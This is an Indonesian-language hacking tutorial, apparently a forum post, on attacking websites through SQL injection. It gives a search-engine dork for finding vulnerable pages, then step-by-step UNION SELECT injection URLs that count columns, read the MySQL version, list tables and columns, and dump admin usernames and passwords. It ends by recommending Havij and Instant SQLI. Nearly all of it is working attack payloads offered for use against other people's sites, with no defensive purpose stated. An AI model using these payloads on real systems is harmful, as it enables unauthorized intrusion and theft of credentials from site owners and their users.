inurl:"product.php?id=" & intext:"You have an error in your SQL syntax"
Misal yang didapat :
http://www.targetweb.com/detailproduct.php?id=35
untuk mengecek bug pada suatu web tambahkan single quote ( ' ) dibelakang url
http://www.targetweb.com/detailproduct.php?id=35'
Setelah itu akan muncul bug pesan error :
You have an error in your SQL syntax; check the manual that corresponds to your
MySQL server version for the right syntax to use near '\' and b.id=a.cat' at line 1
Untuk mencari column gunakan perintah [ order by ]
http://www.targetweb.com/detailproduct.php?id=35 order by 1--
mulai dari angka 1,2,3 dan seterusnya hingga menemukan pesan error selanjutnya 2, dst sampe muncul pesan error "Unknown column '17' in 'order clause'"
Pesan error muncul pada angka 17
http://www.targetweb.com/detailproduct.php?id=35 order by 17--
muncul pesan error:
Unknown column '17' in 'order clause'
Jadi angka yang diambil adalah 17-1 = 16 (jumlah column adalah 16)
Berikutnya kita akan mencari "angka" dimana dengan angka tersebut kita bisa melakukan injection dengan perintah "union all select"
http://www.targetweb.com/detailproduct.php?id=-35 union all select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16--
Jangan lupa tambahkan tanda kurang ( - ) didepan angka parameter ID 35
akan muncul "angka" : 4, 7 dan 13
Pilih salah satunya saja, misal 4
Langsung kita cari versi Database MySql-nya dengan perintah [version()] atau [@@version] pada angka 4
http://www.targetweb.com/detailproduct.php?id=-35 union all select 1,2,3,version(),5,6,7,8,9,10,11,12,13,14,15,16--
Nanti diweb tersebut akan muncul tulisan :
5.0.91-community
Ternyata versi 5, kalau versi 4 lain waktu akan saya bahas.
Selanjutnya kita akan mencari table-nya dgn perintah "group_concat(table_name)" pada salah satu angka dan menambahkan "+from+information_schema.tables+where+table_schema=database()--" di belakang angka 16
http://www.targetweb.com/detailproduct.php?id=-35 union all select 1,2,3,group_concat(table_name),5,6,7,8,9,10,11,12,13,14,15,16+from+information_schema.tables+where table_schema=database()--
Akan muncul nama-nama table :
login,tbanner,tcatprod,tproduct,tset dan lain-lain
Selanjutnya kita cari column dari table yg ada hubungannya dengan user+password,
kali ini kita ambil table "login"
sebelumnya kita convert dulu ke hexa agar dapat dibaca oleh Sql di sini :
http://cyber4rt.com/~converter
ketik : login
pilih ASCII to Hex
hasilnya : 6c6f67696e
Perintah selanjutnya adalah "group_concat(column_name)" pada angka 4 dan "+from+information_schema.columns+where+table_name=0xHEXA--" di akhir URL
ganti HEXA dengan hasil convert tadi yaitu : 6c6f67696e
tambahkan 0x didepan hexa agar server dapat mengetahui bahwa itu telah diconvert
ke hexa
http://www.targetweb.com/detailproduct.php?id=-35 union all select
1,2,3,group_concat(column_name),5,6,7,8,9,10,11,12,13,14,15,16+from+info
rmation_schema.columns+where+table_name=0x6c6f67696e--
muncul column : user,pass
untuk melihat isi dari kedua column tersebut gunakan perintah "group_concat(column1,0x3a,column2)" pada angka ajaib 4 dan +from+NAMATABLE-- pada akhir URL
ganti column 1 dengan " user " dan column 2 dengan " pass "
0x3a adalah tanda titik dua ( : ) yang telah diconvert ke hexa
NAMA TABLE diganti dengan " login " untuk mengambil informasi dari table yang bernama
"login"
http://www.targetweb.com/detailproduct.php?id=-35 union all select
1,2,3,group_concat(user,0x3a,pass),5,6,7,8,9,10,11,12,13,14,15,16+from+login--
hasil : admin:admin
jadi,
user = admin
password = admin
Selesai pencarian User dan Password, dilanjutkan ke pencarian Page Admin.
Untuk mencari page admin, gunakan aplikasi berikut:
Instant SQLI
Atau juga bisa gunakan Aplikasi Havij
NB: ini saya ambil dari tutor yang saya baca dan sedikit saya ubah bahasa penulisan dan web tujuan.